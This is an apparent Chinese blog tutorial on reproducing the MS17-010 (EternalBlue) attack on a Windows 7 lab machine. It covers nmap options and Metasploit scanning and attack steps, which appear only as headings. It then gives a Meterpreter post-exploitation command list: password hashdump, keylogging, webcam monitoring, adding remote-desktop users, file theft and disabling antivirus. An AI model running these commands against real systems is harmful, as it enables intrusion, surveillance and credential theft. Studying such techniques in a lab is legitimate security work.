计算机系统攻击 ms17-010漏洞利用技术 永恒之蓝复现

概述

MS17-010是指微软于2017年发布的一个安全公告编号为MS17-010的漏洞,也被称为"EternalBlue"。该漏洞影响了微软的Windows操作系统,并且被发现可被利用来进行远程代码执行攻击。

这个漏洞的危险性在于它允许攻击者在目标系统上执行恶意代码,甚至可以无需用户交互即可实现攻击。攻击者通过向目标系统发送特制的网络数据包,利用漏洞中的缓冲区溢出问题,绕过了操作系统的安全机制,从而获取对目标系统的控制权。

微软在发布安全公告之后,已经发布了相应的安全补丁来修复这个漏洞。用户应及时更新操作系统,并确保安装了最新的安全补丁,以防止受到此漏洞的攻击。

此外,网络管理员还可以采取其他安全措施来减少风险,如网络入侵检测系统(IDS)的部署、防火墙的配置、访问控制策略的限制等,以增强网络的安全性并减少漏洞被利用的可能性。

总的来说,对于任何已经公开的漏洞,及时更新操作系统和软件,并应用相关的安全补丁是保护系统免受攻击的重要步骤。

实验过程

一、靶机准备

一台windows7系统,一台kali系统(本文用到的是parrot系统)

windows7 IP

二、扫描目标主机是否存在ms17-010漏洞

本文介绍两种扫描方式

使用nmap进行扫描

nmap常用参数
端口状态介绍

open:确定端口开放,可达

closed :关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听。

filtered :由于包过滤阻止探测报文到达端口,Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙。

unfiltered :未被过滤状态意味着端口可访问,但是Nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态。

open | filtered :无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议,FIN, Null 等扫描会引起。

closed|filtered:(关闭或者被过滤的):无法确定端口是关闭的还是被过滤的

扫描目标格式

示例: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254

-iL:从文件中加载目标

-iR:随机扫描

--exclude <host or network>:排除网段或主机地址

--excledefile:排除文件中的地址

主机发现

-sL:列出需要扫描的目标,不扫描

-sn:只做ping扫描,不做端口扫描

-Pn:跳过主机发现,视所有主机都在线

-PS/PA/PU/PY[portlist]:基于TCP(SYN、ACK)、UDP、SCTP的指定端口的主机发现

-PE/PP/PM:基于ICMP的echo、timestamp、network request的主机发现

-PO[Protocol list]:基于IP协议字段的ping扫描

-n/-R: -n表示不对目标最DNS解析,-R表示进行DNS解析,缺省为必要时候进行DNS解析

--dns-servers <serv1[,serv2],...>: 指定DNS 服务器

--system-dns:调用系统的DNS服务器

--traceroute:显示追踪到目标的路径

扫描技术

-sS/sT/sA/sW/sM:TCP扫描

S是SYN扫描,半连接扫描,nmap只发送SYN报文,通过服务器是否响应SYN+ACK来判断对应端口是否开放

T是全连接扫描会和服务器建立完整的三次握手,效率低

A发送ACK报文,通过服务器响应来判断是否开放,有的服务器不开会回复ICMP端口不可达,当回复RST时表示可能被拦截或者端口开放,不是一个准确的判断条件

W 是窗口扫描,发出的报文和ACK一样,利用的是在某些系统中如果端口开放,收到ACK包后会响应一个窗口非0的RST包

M是Maimon扫描,使用发现者的名字命名。其原理是向目标服务器发送FIN/ACK 报文,在某些系统中如果端口开放则会丢弃该报文不做响应,如果端口关闭则回复RST或者ICMP,Nmap可借此判断服务器端口的开放情况。不准

-sU:UDP扫描,某些系统如果UDP端口不开放会回复ICMP差错报文(这也是Linux系统中traceroute的实现原理)。Nmap UDP端口扫描的强大之处在于它会针对知名端口构造初始交互报文,比如会针对UDP 500构造一个主模式协商的IKE报文

-sN/sF/sX:特定TCP标志位的扫描,N是空标志位;F是FIN置位;X是Xmas扫描将FIN、PSH、URG同时置位。收到RST说明端口关闭,无响应说明被过滤或者端口开放,不准。

--scanflags <flags>:实现上同上面几种类似,可以让用户自定义TCP标志位。

-sI <zombie host[:probeport]>: Idle扫描需要一台没有流量的僵尸主机,这种扫描的实现原理是在一定的时间里,同一台主机发出的IP数据报文其ip头中的identification字段是累加的。探测分为3步:1、Nmap主机向僵尸机发包,通过僵尸机的响应包探测其ID;2、Nmap主机伪造僵尸机源地址向服务器的特定端口发送SYN包;3、Nmap主机再次探测僵尸机的ip.id。如果目标服务器端口开放,则必然会向僵尸机发送SYN/ACK,由于莫名其妙收到一个SYN/ACK 报文,僵尸机会向目标服务器发送RST报文,该报文的ip.id 是第一步+1,则第三步Nmap主机探测到的ip.id应该是第一步+2,说明目标主机端口开放。反之,如果目标主机端口未开放,则收到第二步的报文后会向僵尸机回复RST或者直接丢弃该报文不响应,无论哪种情况,都不会触发僵尸机发包,进而僵尸机的ip.id不会变化,第三步Nmap探测到的id应该是第一步+1.

-sY/sZ:SCTP协议INIT或cookie-echo扫描

-sO:基于IP协议的扫描,通过变换IP报文头中的Protocol值来对服务器进行探测

-b <FTP relay host>::FTP反弹扫描,借助FTP特性,通过FTP服务器连接想要扫描的主机实现隐身的目的

端口相关参数

-p:指定端口扫描范围,如:-p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9

--exclude-ports <port ranges>: 排除端口

-F:扫描比缺省少的端口(缺省1000,加了-F100)

-r:顺序扫描端口,缺省是随机分组扫描

--top-ports <number>:按top排序扫描知名端口

--port-ratio <ratio>: 按比例扫描知名端口,值在0-1之间,越小扫的越多

系统/版本探测

-sV:探测开放的端口的系统/服务信息

--version-intensity <level>:设置版本检测的详程度级别,0-9,越高越详细

--version-light:输出最可能的版本信息,缺省是2

--version-all:使用所有的探测条件进行版本/系统探测

--version-trace:打印详细的版本扫描过程

脚本扫描

--script=<Lua scripts>:指定脚本名称

--script-args=<n1=v1,[n2=v2,...]>:为脚本指定参数

--script-help=<Lua scripts>: 查看脚本帮助信息

--script-updatedb:更新脚本数据库

系统探测

-O:激活系统探测

--osscan-limit:只对开放端口的有效主机进行系统探测

--osscan-guess:推测系统信息

其他

-T<0-5>:时间模板,越大速度越快

-6:使能IPV6探测

-A:使能系统探测、版本检测、脚本扫描、路由追踪

-V:打印版本号

-v:增加输出的详细程度

利用msfconsole漏洞攻击平台扫描

搜索ms17-010漏洞的相关利用脚本

 

查看扫描模块的详细配置(yes一栏必填哦) 

设置目标主机地址 
运行扫描模块 

三、 开始攻击

使用攻击模块
 配置目标IP
运行攻击模块 

攻击成功

四、利用meterpreter进行后渗透

基本命令
help #查看Meterpreter帮助
background #返回,把meterpreter后台挂起
bgkill #杀死一个背景 meterpreter 脚本
bglist #提供所有正在运行的后台脚本的列表
bgrun #作为一个后台线程运行脚本
channel #显示活动频道
sessions -i number #与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k  number #与会话进行交互
close #关闭通道
exit #终止 meterpreter 会话
quit #终止 meterpreter 会话
interact id #切换进一个信道
run #执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb #进入 Ruby 脚本模式
read #从通道读取数据
write #将数据写入到一个通道
run和bgrun #前台和后台执行以后它选定的 meterpreter 脚本
use #加载 meterpreter 的扩展
load/use #加载模块
Resource #执行一个已有的rc脚本
 文件系统命令
getwd 或者pwd #查看当前工作目录  
ls #查看文件夹下的文件
cd #切换目录
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd或者lpwd #操作攻击者主机 查看当前目录
lcd/tmp #操作攻击者主机 切换目录
cat c:\\lltest\\lltestpasswd.txt #查看文件内容
upload /tmp/hack.txt C:\\lltest #上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ #下载文件到本机上
edit c:\\1.txt #编辑或创建文件  没有的话,会新建文件
系统命令
getsystem #会自动利用各种各样的系统漏洞来进行权限提升
migrate #进程id进程迁移
background #把当前的会话设置为背景,需要的时候在启用
getuid #查看对方正在运行的用户
ps #列出所有的进程
getpid #返回运行meterpreter的id号
sysinfo #产看系统信息和体系结构
shell #切换到cmd的系统权限方式
exit #退出shell会话返回meterpreter或终止meterpreter
getdesktop #截取目标主机当前桌面会话窗口
run webcam -p /var/www #在/var/www目录监控目标主机的摄像头
keylog_recorder #使用migrate将会话迁移至explorer.exe的进程空间后记录键盘
远程桌面、截屏
run getgui -e #开启远程桌面
run getgui -u user1 -p 123 #添加用户
run getgui -f 4444 –e #3389端口转发到6661
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面  -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏  然后输入screengrab
run vnc #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
关闭杀毒软件
run killav #可能导致目标机器蓝屏死机
后门植入
run killav #可能导致目标机器蓝屏死机

以上就是本期的简单教学咯

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

currify--+

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值